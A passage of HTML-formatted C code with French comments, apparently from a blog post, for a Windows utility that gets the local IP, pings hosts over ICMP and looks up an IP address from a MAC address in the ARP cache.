102);"&gt;}&lt;/span&gt; IP_ECHO_REPLY, * PIP_ECHO_REPLY;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;void&lt;/span&gt; getIP&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;char&lt;/span&gt; * ip, &lt;span style="color: rgb(153, 51, 51);"&gt;int&lt;/span&gt; bufsize&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;{&lt;/span&gt;&lt;br /&gt;    &lt;span style="color: rgb(153, 51, 51);"&gt;struct&lt;/span&gt; sockaddr_in    sAddIn;&lt;br /&gt;    &lt;span style="color: rgb(153, 51, 51);"&gt;struct&lt;/span&gt; hostent      *sHostent;&lt;br /&gt;    &lt;span style="color: rgb(153, 51, 51);"&gt;char&lt;/span&gt; FAR                buffer&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt; &lt;span style="color: rgb(204, 102, 204);"&gt;64&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt; = &lt;span style="color: rgb(255, 0, 0);"&gt;""&lt;/span&gt;;&lt;br /&gt;    WORD                    wVersionRequested;&lt;br /&gt;    WSADATA     wsaData;&lt;br /&gt;    &lt;span style="color: rgb(153, 51, 51);"&gt;int&lt;/span&gt;      iErr = &lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;;&lt;br /&gt;    &lt;span style="color: rgb(153, 51, 51);"&gt;int&lt;/span&gt;      i = &lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt; ;&lt;br /&gt;&lt;br /&gt;    &lt;span style="color: rgb(42, 170, 255); font-style: italic;"&gt;// Version de Winsock&lt;/span&gt;&lt;br /&gt;    wVersionRequested = MAKEWORD&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt; &lt;span style="color: rgb(204, 102, 204);"&gt;1&lt;/span&gt;, &lt;span style="color: rgb(204, 102, 204);"&gt;1&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;   &lt;br /&gt;    &lt;span style="color: rgb(42, 170, 255); font-style: italic;"&gt;// On démarre Winsock&lt;/span&gt;&lt;br /&gt;    iErr = WSAStartup&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt; wVersionRequested, &amp;amp;wsaData &lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;    &lt;span style="color: rgb(42, 170, 255); font-style: italic;"&gt;// On récupère le nom de la machine&lt;/span&gt;&lt;br /&gt;    gethostname&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt; buffer, &lt;span style="color: rgb(153, 51, 51);"&gt;sizeof&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt; buffer &lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;    sHostent = gethostbyname&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt; buffer &lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;    &lt;span style="color: rgb(177, 177, 0);"&gt;while&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt; sHostent-&amp;gt;h_addr_list&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt; i + &lt;span style="color: rgb(204, 102, 204);"&gt;1&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt; != &lt;span style="color: rgb(255, 255, 255); font-weight: bold;"&gt;NULL&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;br /&gt;    i++;&lt;br /&gt;&lt;br /&gt;    memcpy&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt; &amp;amp;sAddIn.&lt;span style="color: rgb(255, 255, 255);"&gt;sin_addr&lt;/span&gt;.&lt;span style="color: rgb(255, 255, 255);"&gt;s_addr&lt;/span&gt;, sHostent-&amp;gt;h_addr_list&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt; i &lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;, sHostent-&amp;gt;h_length &lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;    strncpy&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;ip,inet_ntoa&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt; sAddIn.&lt;span style="color: rgb(255, 255, 255);"&gt;sin_addr&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;,bufsize&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;    &lt;span style="color: rgb(42, 170, 255); font-style: italic;"&gt;// On arrête Winsock&lt;/span&gt;&lt;br /&gt;    WSACleanup&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;int&lt;/span&gt; ping&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;char&lt;/span&gt; * Ip1&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;{&lt;/span&gt;&lt;br /&gt;    SOCKADDR_IN   sin;&lt;br /&gt;    DWORD            Result1;&lt;br /&gt;    &lt;span style="color: rgb(153, 51, 51);"&gt;int&lt;/span&gt;     ret=&lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;    &lt;span style="color: rgb(42, 170, 255); font-style: italic;"&gt;// Fonction de convertion d'une chaine de caractère en structure IPv4&lt;/span&gt;&lt;br /&gt;    sin.&lt;span style="color: rgb(255, 255, 255);"&gt;sin_addr&lt;/span&gt;.&lt;span style="color: rgb(255, 255, 255);"&gt;s_addr&lt;/span&gt; = inet_addr&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;Ip1&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;    &lt;span style="color: rgb(42, 170, 255); font-style: italic;"&gt;// On vérifie que les pointeurs vers les fonction ICMP ne sont pas nulls&lt;/span&gt;&lt;br /&gt;    &lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;IcmpCreateFile == &lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt; || &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;IcmpSendEcho == &lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;br /&gt;    &lt;span style="color: rgb(102, 204, 102);"&gt;{&lt;/span&gt;&lt;br /&gt;    ret=-&lt;span style="color: rgb(204, 102, 204);"&gt;1&lt;/span&gt;;&lt;br /&gt;    &lt;span style="color: rgb(177, 177, 0);"&gt;goto&lt;/span&gt; error;&lt;br /&gt;    &lt;span style="color: rgb(102, 204, 102);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;    &lt;span style="color: rgb(42, 170, 255); font-style: italic;"&gt;// Initialise le service de PING&lt;/span&gt;&lt;br /&gt;    HANDLE hIP = IcmpCreateFile&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;    &lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;hIP == INVALID_HANDLE_VALUE&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;br /&gt;    &lt;span style="color: rgb(102, 204, 102);"&gt;{&lt;/span&gt;&lt;br /&gt;    ret=-&lt;span style="color: rgb(204, 102, 204);"&gt;2&lt;/span&gt;;&lt;br /&gt;    &lt;span style="color: rgb(177, 177, 0);"&gt;goto&lt;/span&gt; error;&lt;br /&gt;    &lt;span style="color: rgb(102, 204, 102);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;    &lt;span style="color: rgb(42, 170, 255); font-style: italic;"&gt;// Construction du paquet ICMP&lt;/span&gt;&lt;br /&gt;    &lt;span style="color: rgb(153, 51, 51);"&gt;char&lt;/span&gt; acPingBuffer&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;;&lt;br /&gt;    memset&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;acPingBuffer, &lt;span style="color: rgb(255, 0, 0);"&gt;'&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\x&lt;/span&gt;AA'&lt;/span&gt;, &lt;span style="color: rgb(153, 51, 51);"&gt;sizeof&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;acPingBuffer&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;    PIP_ECHO_REPLY pIpe = &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;PIP_ECHO_REPLY&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;GlobalAlloc&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;GMEM_FIXED | GMEM_ZEROINIT,&lt;span style="color: rgb(153, 51, 51);"&gt;sizeof&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;IP_ECHO_REPLY&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt; + &lt;span style="color: rgb(153, 51, 51);"&gt;sizeof&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;acPingBuffer&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;    &lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;pIpe == &lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;br /&gt;    &lt;span style="color: rgb(102, 204, 102);"&gt;{&lt;/span&gt;&lt;br /&gt;    ret=-&lt;span style="color: rgb(204, 102, 204);"&gt;3&lt;/span&gt;;&lt;br /&gt;    &lt;span style="color: rgb(177, 177, 0);"&gt;goto&lt;/span&gt; error;&lt;br /&gt;    &lt;span style="color: rgb(102, 204, 102);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;    pIpe-&amp;gt;Data = acPingBuffer;&lt;br /&gt;    pIpe-&amp;gt;DataSize = &lt;span style="color: rgb(153, 51, 51);"&gt;sizeof&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;acPingBuffer&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;    &lt;span style="color: rgb(42, 170, 255); font-style: italic;"&gt;// Envoi du paquet&lt;/span&gt;&lt;br /&gt;    Result1 = IcmpSendEcho&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;hIP,sin.&lt;span style="color: rgb(255, 255, 255);"&gt;sin_addr&lt;/span&gt;.&lt;span style="color: rgb(255, 255, 255);"&gt;S_un&lt;/span&gt;.&lt;span style="color: rgb(255, 255, 255);"&gt;S_addr&lt;/span&gt;,acPingBuffer, &lt;span style="color: rgb(153, 51, 51);"&gt;sizeof&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;acPingBuffer&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;, &lt;span style="color: rgb(255, 255, 255); font-weight: bold;"&gt;NULL&lt;/span&gt;, pIpe,&lt;span style="color: rgb(153, 51, 51);"&gt;sizeof&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;IP_ECHO_REPLY&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt; + &lt;span style="color: rgb(153, 51, 51);"&gt;sizeof&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;acPingBuffer&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;, &lt;span style="color: rgb(204, 102, 204);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;    GlobalFree&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;pIpe&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;   &lt;br /&gt;    error:&lt;br /&gt;   &lt;br /&gt;    &lt;span style="color: rgb(177, 177, 0);"&gt;return&lt;/span&gt; ret;&lt;br /&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;void&lt;/span&gt; getIPfromMAC&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;char&lt;/span&gt; * searchedMAC&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;{&lt;/span&gt;&lt;br /&gt; DWORD        i;&lt;br /&gt; PMIB_IPNETTABLE    pIpNetTable = &lt;span style="color: rgb(255, 255, 255); font-weight: bold;"&gt;NULL&lt;/span&gt;;&lt;br /&gt; DWORD        dwSize = &lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;;&lt;br /&gt; DWORD        dwRetVal = &lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;;&lt;br /&gt; DWORD        dwResult;&lt;br /&gt; &lt;span style="color: rgb(153, 51, 51);"&gt;char&lt;/span&gt;            bufferMAC&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;100&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt; &lt;span style="color: rgb(42, 170, 255); font-style: italic;"&gt;// On récupère la taille du cache ARP&lt;/span&gt;&lt;br /&gt; dwResult = GetIpNetTable&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255); font-weight: bold;"&gt;NULL&lt;/span&gt;, &amp;amp;dwSize, &lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt; &lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;dwResult == ERROR_INSUFFICIENT_BUFFER&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;{&lt;/span&gt;&lt;br /&gt;   pIpNetTable = &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;MIB_IPNETTABLE *&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt; malloc &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;dwSize&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt; &lt;span style="color: rgb(42, 170, 255); font-style: italic;"&gt;// On récupère le cache ARP&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;dwRetVal = GetIpNetTable&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;pIpNetTable, &amp;amp;dwSize, &lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;== NO_ERROR&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;{&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;pIpNetTable-&amp;gt;dwNumEntries &amp;gt; &lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(102, 204, 102);"&gt;{&lt;/span&gt; &lt;br /&gt;       &lt;span style="color: rgb(42, 170, 255); font-style: italic;"&gt;// On boucle sur la liste récupérée&lt;/span&gt;&lt;br /&gt;       &lt;span style="color: rgb(177, 177, 0);"&gt;for&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;i=&lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;; i&amp;lt;pIpNetTable-&amp;gt;dwNumEntries; i++&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;br /&gt;        &lt;span style="color: rgb(102, 204, 102);"&gt;{&lt;/span&gt;&lt;br /&gt;        &lt;span style="color: rgb(42, 170, 255); font-style: italic;"&gt;// On construit une chaine de caractères contenant l'adresse MAC de l'entrée en cours, pour la comparaison&lt;/span&gt;&lt;br /&gt;        _snprintf&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;bufferMAC,&lt;span style="color: rgb(204, 102, 204);"&gt;100&lt;/span&gt;,&lt;span style="color: rgb(255, 0, 0);"&gt;"%.2x:%.2x:%.2x:%.2x:%.2x:%.2x"&lt;/span&gt;,pIpNetTable-&amp;gt;table&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;i&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;.&lt;span style="color: rgb(255, 255, 255);"&gt;bPhysAddr&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;,pIpNetTable-&amp;gt;table&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;i&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;.&lt;span style="color: rgb(255, 255, 255);"&gt;bPhysAddr&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;,pIpNetTable-&amp;gt;table&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;i&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;.&lt;span style="color: rgb(255, 255, 255);"&gt;bPhysAddr&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;2&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;,pIpNetTable-&amp;gt;table&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;i&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;.&lt;span style="color: rgb(255, 255, 255);"&gt;bPhysAddr&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;3&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;,pIpNetTable-&amp;gt;table&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;i&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;.&lt;span style="color: rgb(255, 255, 255);"&gt;bPhysAddr&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;4&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;,pIpNetTable-&amp;gt;table&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;i&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;.&lt;span style="color: rgb(255, 255, 255);"&gt;bPhysAddr&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;5&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;       &lt;br /&gt;        &lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;strcmp&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;bufferMAC,searchedMAC&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;==&lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;br /&gt;        &lt;span style="color: rgb(102, 204, 102);"&gt;{&lt;/span&gt;&lt;br /&gt;            &lt;a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"&gt;&lt;span style="color: rgb(0, 0, 102);"&gt;printf&lt;/span&gt;&lt;/a&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;"&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\n&lt;/span&gt; &amp;gt;&amp;gt;&amp;gt; %s is at %s  :} &amp;lt;&amp;lt;&amp;lt;&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\n&lt;/span&gt;"&lt;/span&gt;,searchedMAC,inet_ntoa&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;*&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;struct&lt;/span&gt; in_addr *&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&amp;amp;pIpNetTable-&amp;gt;table&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;i&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;.&lt;span style="color: rgb(255, 255, 255);"&gt;dwAddr&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;            exit&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;        &lt;span style="color: rgb(102, 204, 102);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;        &lt;span style="color: rgb(102, 204, 102);"&gt;}&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(102, 204, 102);"&gt;}&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;void&lt;/span&gt; parse&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;char&lt;/span&gt; * ip,&lt;span style="color: rgb(153, 51, 51);"&gt;int&lt;/span&gt; * tab&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(42, 170, 255); font-style: italic;"&gt;// Parse une IP (chaine) en tableau d'int&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;{&lt;/span&gt;&lt;br /&gt;    &lt;span style="color: rgb(153, 51, 51);"&gt;char&lt;/span&gt;        buffer&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;4&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;;&lt;br /&gt;    &lt;span style="color: rgb(153, 51, 51);"&gt;unsigned&lt;/span&gt;    &lt;span style="color: rgb(153, 51, 51);"&gt;long&lt;/span&gt; i=&lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;,j=&lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;,k=&lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;    &lt;span style="color: rgb(177, 177, 0);"&gt;while&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;i&amp;lt;&lt;span style="color: rgb(204, 102, 204);"&gt;4&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;br /&gt;    &lt;span style="color: rgb(102, 204, 102);"&gt;{&lt;/span&gt;&lt;br /&gt;        memset&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;buffer,&lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;,&lt;span style="color: rgb(204, 102, 204);"&gt;4&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;        &lt;span style="color: rgb(177, 177, 0);"&gt;while&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;ip&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;j&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;!=&lt;span style="color: rgb(255, 0, 0);"&gt;'.'&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&amp;amp;&amp;amp;&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;j&amp;lt;strlen&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;ip&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&amp;amp;&amp;amp;&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;k&amp;lt;&lt;span style="color: rgb(204, 102, 204);"&gt;4&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;br /&gt;        &lt;span style="color: rgb(102, 204, 102);"&gt;{&lt;/span&gt;&lt;br /&gt;            buffer&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;k&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;=ip&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;j&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;;&lt;br /&gt;        j++;&lt;br /&gt;        k++;&lt;br /&gt;        &lt;span style="color: rgb(102, 204, 102);"&gt;}&lt;/span&gt;&lt;br /&gt;        tab&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;i&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;=atoi&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;buffer&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;    